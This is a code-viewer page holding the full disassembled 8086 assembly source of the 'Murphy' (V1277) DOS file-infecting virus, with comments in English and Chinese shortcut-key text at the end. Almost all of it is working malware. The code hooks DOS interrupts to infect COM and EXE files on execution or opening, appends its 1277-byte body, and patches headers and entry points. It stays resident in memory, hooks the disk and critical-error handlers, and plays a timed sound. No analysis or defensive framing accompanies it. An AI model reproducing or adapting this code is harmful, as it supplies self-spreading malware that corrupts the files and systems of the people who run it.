?? murphy-1.asm
字號:
L0100: JMP L08D0
MOV AH,09H
MOV DX,010CH
INT 21H
L010A: INT 20H
L010C: DB 'Murphy virus V1.00 (V1277)$'
DB 1961 DUP (1)
L08D0: JMP L0C51
NOP ; \
NOP ; \
NOP ; \
L08D6: MOV AH,09H ; \
MOV DX,010CH ; > ORIGINAL 24 BYTES
INT 21H ; /
L08DD: INT 20H ; /
; /
L08DF: DB 'Murphy virus' ; /
L08EB: DW 2 DUP(0000H)
MOV WORD PTR [DI],0040H ;DB 0C7H,25H,40H,00H
AND [BX+SI],AX ;DB 21H,00H
JNO L08F7 ;DB 71H,00H
L08F7: XOR AL,[BX+DI] ;DB 32H,01H
MOV CH,02H ;DB 0B5H,02H
TEST AL,0CH ;DB 0A8H,0CH
PUSH SI ;DB 56H
ADD AX,0AF9H ;DB 05H,0F9H,0AH
EXTRN L3BC8H_0001H:FAR
JMP L3BC8H_0001H ;DB 0EAH,01H,00H,0C8H,3BH
ADD CH,[BX+SI+200CH]
L090A: DB 'Hello, I'm Murphy. Nice to meet you friend. '
DB 'I'm written since Nov/Dec.'
DB ' Copywrite (c)1989 by Lubo & Ian, Sofia, USM Laboratory. '
; ******** INT21 DRIVER ********
CALL L0C1B ; SOUND SHOW
CMP AX,4B59H ; SPECIAL FUNCTION ?
JNE L099A
PUSH BP ; \
MOV BP,SP ; \
AND WORD PTR [BP+06H],-02H ; > FLAG C = 0
POP BP ; /
IRET ; /
L099A: CMP AH,4BH ; EXEC PROGRAM ?
JE L09B1
CMP AX,3D00H ; OPEN FILE ?
JE L09B1
CMP AX,6C00H ; OPEN FILE ( MS DOS v4.xx )
JNE L09AE
CMP BL,00H
JE L09B1
L09AE: JMP L0A56 ; NO. ORIGINAL INT21
L09B1: PUSH ES ; \
PUSH DS ; > SAVE REGISTERS
L09B3: DB 'WVURQSP' ; /
CALL L0B86 ; SET NEW INT24 & INT13
CMP AX,6C00H ; \
JNE L09C4 ; > MS DOS v4.xx NAME -> DS:SI
MOV DX,SI ; /
L09C4: MOV CX,0080H
MOV SI,DX ; \
L09C9: INC SI ; \
MOV AL,[SI] ; > SEARCH EXTENSION
OR AL,AL ; /
LOOPNZ L09C9 ; /
SUB SI,+02H
CMP WORD PTR [SI],4D4FH ; 'OM' ?
JE L09EB
CMP WORD PTR [SI],4558H ; 'XE' ?
JE L09E2
L09DF: JMP SHORT L0A4A
NOP
L09E2: CMP WORD PTR [SI-02H],452EH ; '.C' ?
JE L09F2
JMP SHORT L09DF
L09EB: CMP WORD PTR [SI-02H],432EH ; '.E' ?
JNE L09DF
L09F2: MOV AX,3D02H ; OPEN FILE
CALL L0B7F
JB L0A4A
MOV BX,AX
MOV AX,5700H ; GET DATE & TIME
CALL L0B7F
MOV CS:[0121H],CX ; SAVE DATE & TIME
MOV CS:[0123H],DX
MOV AX,4200H ; MOVE 'FP' TO BEGIN FILE ???
XOR CX,CX
XOR DX,DX
CALL L0B7F
PUSH CS ; MY SEGMENT
POP DS
MOV DX,0103H ; READ ORIGINAL 24 BYTES
MOV SI,DX
MOV CX,0018H
MOV AH,3FH
CALL L0B7F
JB L0A35
CMP WORD PTR [SI],5A4DH ; 'EXE' FILE ?
JNE L0A32
CALL L0A5B ; INFECT 'EXE' FILE
JMP SHORT L0A35
L0A32: CALL L0B2B ; INFECT 'COM' FILE
L0A35: MOV AX,5701H ; SET ORIGINAL DATE & TIME
MOV CX,CS:[0121H]
MOV DX,CS:[0123H]
CALL L0B7F
MOV AH,3EH ; CLOSE FILE
CALL L0B7F ; RESTORE INT13 & INT24
L0A4A: CALL L0BC3
L0A4D: DB 'X[YZ]^_' ; RESTORE REGISTERS
POP DS
POP ES
L0A56: JMP DWORD PTR CS:[0129H] ; ORIGINAL INT21
; ******** INFECT 'EXE' PROGRAM ********
L0A5B: MOV CX,[SI+16H] ; CS SEGMENT
ADD CX,[SI+08H] ; + HEADER SIZE
MOV AX,0010H ; PARA -> BYTES
MUL CX
ADD AX,[SI+14H] ; DX:AX = START FILE
ADC DX,+00H
PUSH DX ; SAVE START FILE OFFSET
PUSH AX
MOV AX,4202H ; MOVE FP TO END FILE
XOR CX,CX ; (GET FILE SIZE)
XOR DX,DX
CALL L0B7F
CMP DX,+00H ; SIZE < 1277 ???
JNE L0A88
CMP AX,04FDH
NOP
JNB L0A88
POP AX ; QUIT
POP DX
JMP L0B0D
L0A88: MOV DI,AX ; SAVE FILE SIZE
MOV BP,DX
POP CX ; CALC CODE SIZE
SUB AX,CX
POP CX
SBB DX,CX
CMP WORD PTR [SI+0CH],+00H ; HIGH FILE ?
JE L0B0D
CMP DX,+00H ; CODE SIZE = 1277
JNE L0AA3
CMP AX,04FDH
NOP
JE L0B0D
L0AA3: MOV DX,BP ; FILE SIZE
MOV AX,DI
PUSH DX ; SAVE FILE SIZE
PUSH AX
ADD AX,04FDH ; CALC NEW FILE SIZE
NOP
ADC DX,+00H
MOV CX,0200H ; CALC FILE SIZE FOR HEADER
DIV CX
LES DI,DWORD PTR [SI+02H] ; SAVE OLD CODE SIZE
MOV CS:[0125H],DI
MOV CS:[0127H],ES
MOV [SI+02H],DX ; SAVE NEW CODE SIZE
CMP DX,+00H
JE L0ACB
INC AX
L0ACB: MOV [SI+04H],AX
POP AX ; RESTORE ORIGINAL FILE SIZE
POP DX
CALL L0B0E ; ???
SUB AX,[SI+08H]
LES DI,DWORD PTR [SI+14H] ; SAVE OLD CS:IP
MOV DS:[011BH],DI
MOV DS:[011DH],ES
MOV [SI+14H],DX ; SET NEW CS:IP
MOV [SI+16H],AX
MOV WORD PTR DS:[011FH],AX ; SAVE OFFSET
MOV AX,4202H ; MOVE FP TO END FILE
XOR CX,CX
XOR DX,DX
CALL L0B7F
CALL L0B1F ; WRITE CODE
JB L0B0D
MOV AX,4200H ; MOVE FP TO BEGIN FILE
XOR CX,CX
XOR DX,DX
CALL L0B7F
MOV AH,40H ; WRITE HEADER
MOV DX,SI
MOV CX,0018H
CALL L0B7F
L0B0D: RET
L0B0E: MOV CX,0004H ; ???
MOV DI,AX
AND DI,+0FH
L0B16: SHR DX,1
RCR AX,1
LOOP L0B16
MOV DX,DI
RET
L0B1F: MOV AH,40H ; WRITE VIRUS CODE
MOV CX,04FDH ; SIZE = 1277
NOP
MOV DX,0100H
JMP SHORT L0B7F
NOP
; ******** INFECT 'COM' PROGRAM ********
L0B2B: MOV AX,4202H ; MOVE FP TO END FILE
XOR CX,CX
XOR DX,DX
CALL L0B7F
CMP AX,04FDH ; FILE SIZE < 1277 ?
NOP
JB L0B7E
CMP AX,0FAE2H ; FILE SIZE > 64226
NOP
JNB L0B7E
PUSH AX ; SAVE SIZE
CMP BYTE PTR [SI],0E9H ; 'JUMP' CODE ?
JNE L0B53
SUB AX,0500H ; CALC OFFSET FOR VIRUS
NOP
CMP AX,[SI+01H] ; FILE IS INFECTET ?
JNE L0B53
POP AX
JMP SHORT L0B7E
L0B53: CALL L0B1F ; WRITE VIRUS CODE
JNB L0B5B
POP AX ; ERROR
JMP SHORT L0B7E
L0B5B: MOV AX,4200H ; MOVE FP TO BEGIN FILE
XOR CX,CX
XOR DX,DX
CALL L0B7F
POP AX ; CALC OFFSET FOR JUMP
SUB AX,0003H
MOV DX,011BH ; DATA ARREA
MOV SI,DX
MOV BYTE PTR CS:[SI],0E9H ; SAVE JUMP CODE TO ARREA
MOV CS:[SI+01H],AX
MOV AH,40H ; WRITE FIRST 3 BYTES
MOV CX,0003H
CALL L0B7F
L0B7E: RET
; ******** VIRUS INT21 ********
L0B7F: PUSHF
CALL DWORD PTR CS:[0129H]
RET
; ******** SET NEW INT24 & INT13 ********
L0B86: PUSH AX ; SAVE REGISTERS
PUSH DS
PUSH ES
XOR AX,AX ; SEGMENT AT VECTOR TABLE
PUSH AX
POP DS
CLI
LES AX,DWORD PTR DS:[0090H] ; \
MOV WORD PTR CS:[012DH],AX ; > GET ADDRES INT24
MOV CS:[012FH],ES ; /
MOV AX,0418H ; \
MOV WORD PTR DS:[0090H],AX ; > SET NEW INT24
MOV DS:[0092H],CS ; /
LES AX,DWORD PTR DS:[004CH] ; \
MOV WORD PTR CS:[0135H],AX ; > GET ADDRES INT13
MOV CS:[0137H],ES ; /
LES AX,DWORD PTR CS:[0131H] ; \
MOV WORD PTR DS:[004CH],AX ; > SET NEW INT13
MOV DS:[004EH],ES ; /
STI
POP ES ; RESTORE REGISTERS
POP DS
POP AX
RET
; ******** RESTORE INT24 & INT13 ********
L0BC3: PUSH AX
PUSH DS
PUSH ES
XOR AX,AX
PUSH AX
POP DS
CLI
LES AX,DWORD PTR CS:[012DH] ; \
MOV WORD PTR DS:[0090H],AX ; > RESTORE INT24
MOV DS:[0092H],ES ; /
LES AX,DWORD PTR CS:[0135H] ; \
MOV WORD PTR DS:[004CH],AX ; > RESTORE INT13
MOV DS:[004EH],ES ; /
STI
POP ES
POP DS
POP AX
RET
; ******** INT13 DRIVER ********
L0BE8: TEST AH,80H ; HARD DISK ?
JE L0BF2
JMP DWORD PTR CS:[012DH] ; YES.
L0BF2: ADD SP,+06H ; POP REGISTERS
L0BF5: DB 'X[YZ^_]'
POP DS
POP ES
PUSH BP
MOV BP,SP
OR WORD PTR [BP+06H],+01H ; FLAG C=1
POP BP
IRET
; ******** SOUOND DRIVER *********
L0C07: MOV AL,0B6H
OUT 43H,AL
MOV AX,0064H
OUT 42H,AL
MOV AL,AH
OUT 42H,AL
IN AL,61H
OR AL,03H
OUT 61H,AL
RET
; ******** SHOW DRIVER ********
L0C1B: PUSH AX ; SAVE REGISTERS
PUSH CX
PUSH DX
PUSH DS
XOR AX,AX ; DOS ARREA SEGMENT
PUSH AX
POP DS
MOV AX,WORD PTR DS:[046CH] ; GET TIME
MOV DX,DS:[046EH]
MOV CX,0FFFFH ; DIVIDE BY 65535
DIV CX ; 1 HOUR - 65535 TICKS
CMP AX,000AH ; TEN HOUR ?
JNE L0C37
CALL L0C07 ; SHOW
L0C37: POP DS ; RESTORE REGISTERS
POP DX
POP CX
POP AX
RET
L0C3C: MOV DX,0010H ; DX:AX = AX * 16
MUL DX
RET
; CLEAR REGISTERS ????
L0C42: XOR AX,AX
XOR BX,BX
XOR CX,CX
XOR DX,DX
XOR SI,SI
XOR DI,DI
XOR BP,BP
RET
L0C51: PUSH DS
CALL L0C55 ; PUSH ADDRES
L0C55: MOV AX,4B59H ; I'M IN MEMORY ?
INT 21H
L0C5A: JB L0C5F ; NO. INSERT CODE
JMP L0D87 ; START FILE
L0C5F: POP SI ; POP MY ADDRESS
PUSH SI
MOV DI,SI
XOR AX,AX ; DS = VECTOR TABLE SEGMENT
PUSH AX
POP DS
LES AX,DWORD PTR DS:[004CH] ; GET INT13 ADDRESS
MOV CS:[SI+0FCACH],AX
MOV CS:[SI+0FCAEH],ES
LES BX,DWORD PTR DS:[0084H] ; GET INT21 ADDRESS
MOV CS:[DI+0FCA4H],BX
MOV CS:[DI+0FCA6H],ES
MOV AX,WORD PTR DS:[0102H] ; SEGMENT OF INT40
CMP AX,0F000H ; IN ROM BIOS ?
JNE L0CF4 ; NO. NOT HARD DISK IN SYSTEM
MOV DL,80H
MOV AX,WORD PTR DS:[0106H] ; SEGMENT OF INT41
CMP AX,0F000H ; ROM BIOS ?
JE L0CB1
CMP AH,0C8H ; < ROM EXTERNAL ARREA
JB L0CF4
CMP AH,0F4H ; > ROM EXTERNAL ARREA
JNB L0CF4
TEST AL,7FH
JNE L0CF4
MOV DS,AX
CMP WORD PTR DS:[0000H],0AA55H ; BEGIN ROM MODUL ?
JNE L0CF4
MOV DL,DS:[0002H] ; SCANING FOR ORIGINAL INT13
L0CB1: MOV DS,AX ; ADDRESS
XOR DH,DH
MOV CL,09H
SHL DX,CL
MOV CX,DX
XOR SI,SI
L0CBD: LODSW
CMP AX,0FA80H
JNE L0CCB
LODSW
CMP AX,7380H
JE L0CD6
JNE L0CE0
L0CCB: CMP AX,0C2F6H
JNE L0CE2
LODSW
CMP AX,7580H
JNE L0CE0
L0CD6: INC SI
LODSW
CMP AX,40CDH
JE L0CE7
SUB SI,+03H
L0CE0: DEC SI
DEC SI
L0CE2: DEC SI
LOOP L0CBD
JMP SHORT L0CF4
L0CE7: SUB SI,+07H
MOV CS:[DI+0FCACH],SI
MOV CS:[DI+0FCAEH],DS
L0CF4: MOV AH,62H ; TAKE 'PSP' SEGMENT
INT 21H
L0CF8: MOV ES,BX ; FREE MY BLOCK
MOV AH,49H
INT 21H
L0CFE: MOV BX,0FFFFH ; GET BLOCK SIZE
MOV AH,48H
INT 21H
L0D05: SUB BX,0051H ; FREE SPACE ?
JB L0D87
MOV CX,ES ; CALC NEW BLOCK SIZE
STC
ADC CX,BX
MOV AH,4AH ; SET NEW SIZE
INT 21H
L0D14: MOV BX,0050H
NOP
STC
SBB ES:[0002H],BX
PUSH ES
MOV ES,CX
MOV AH,4AH
INT 21H
L0D25: MOV AX,ES
DEC AX
MOV DS,AX
MOV WORD PTR DS:[0001H],0008H
CALL L0C3C
MOV BX,AX
MOV CX,DX
POP DS
MOV AX,DS
CALL L0C3C
ADD AX,DS:[0006H]
ADC DX,+00H
SUB AX,BX
SBB DX,CX
JB L0D4E
SUB DS:[0006H],AX
L0D4E: MOV SI,DI
XOR DI,DI
PUSH CS
POP DS
SUB SI,0385H
MOV CX,04FDH
NOP
INC CX
REPZ MOVSB
MOV AH,62H
INT 21H
L0D63: DEC BX
MOV DS,BX
MOV BYTE PTR DS:[0000H],5AH
MOV DX,01B9H
XOR AX,AX
PUSH AX
POP DS
MOV AX,ES
SUB AX,0010H
MOV ES,AX
CLI
MOV DS:[0084H],DX
MOV DS:[0086H],ES
STI
DEC BYTE PTR DS:[047BH]
L0D87: POP SI
CMP WORD PTR CS:[SI+0FC7EH],5A4DH
JNE L0DAE
POP DS
MOV AX,CS:[SI+0FC9AH]
MOV BX,CS:[SI+0FC98H]
PUSH CS
POP CX
SUB CX,AX
ADD CX,BX
PUSH CX
PUSH WORD PTR CS:[SI+0FC96H]
PUSH DS
POP ES
CALL L0C42
RETF
L0DAE: POP AX
MOV AX,CS:[SI+0FC7EH]
MOV WORD PTR CS:[0100H],AX
MOV AX,CS:[SI+0FC80H]
MOV WORD PTR CS:[0102H],AX
MOV AX,0100H
PUSH AX
PUSH CS
POP DS
PUSH DS
POP ES
CALL L0C42
RET
L0DCD: DW 0000H
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -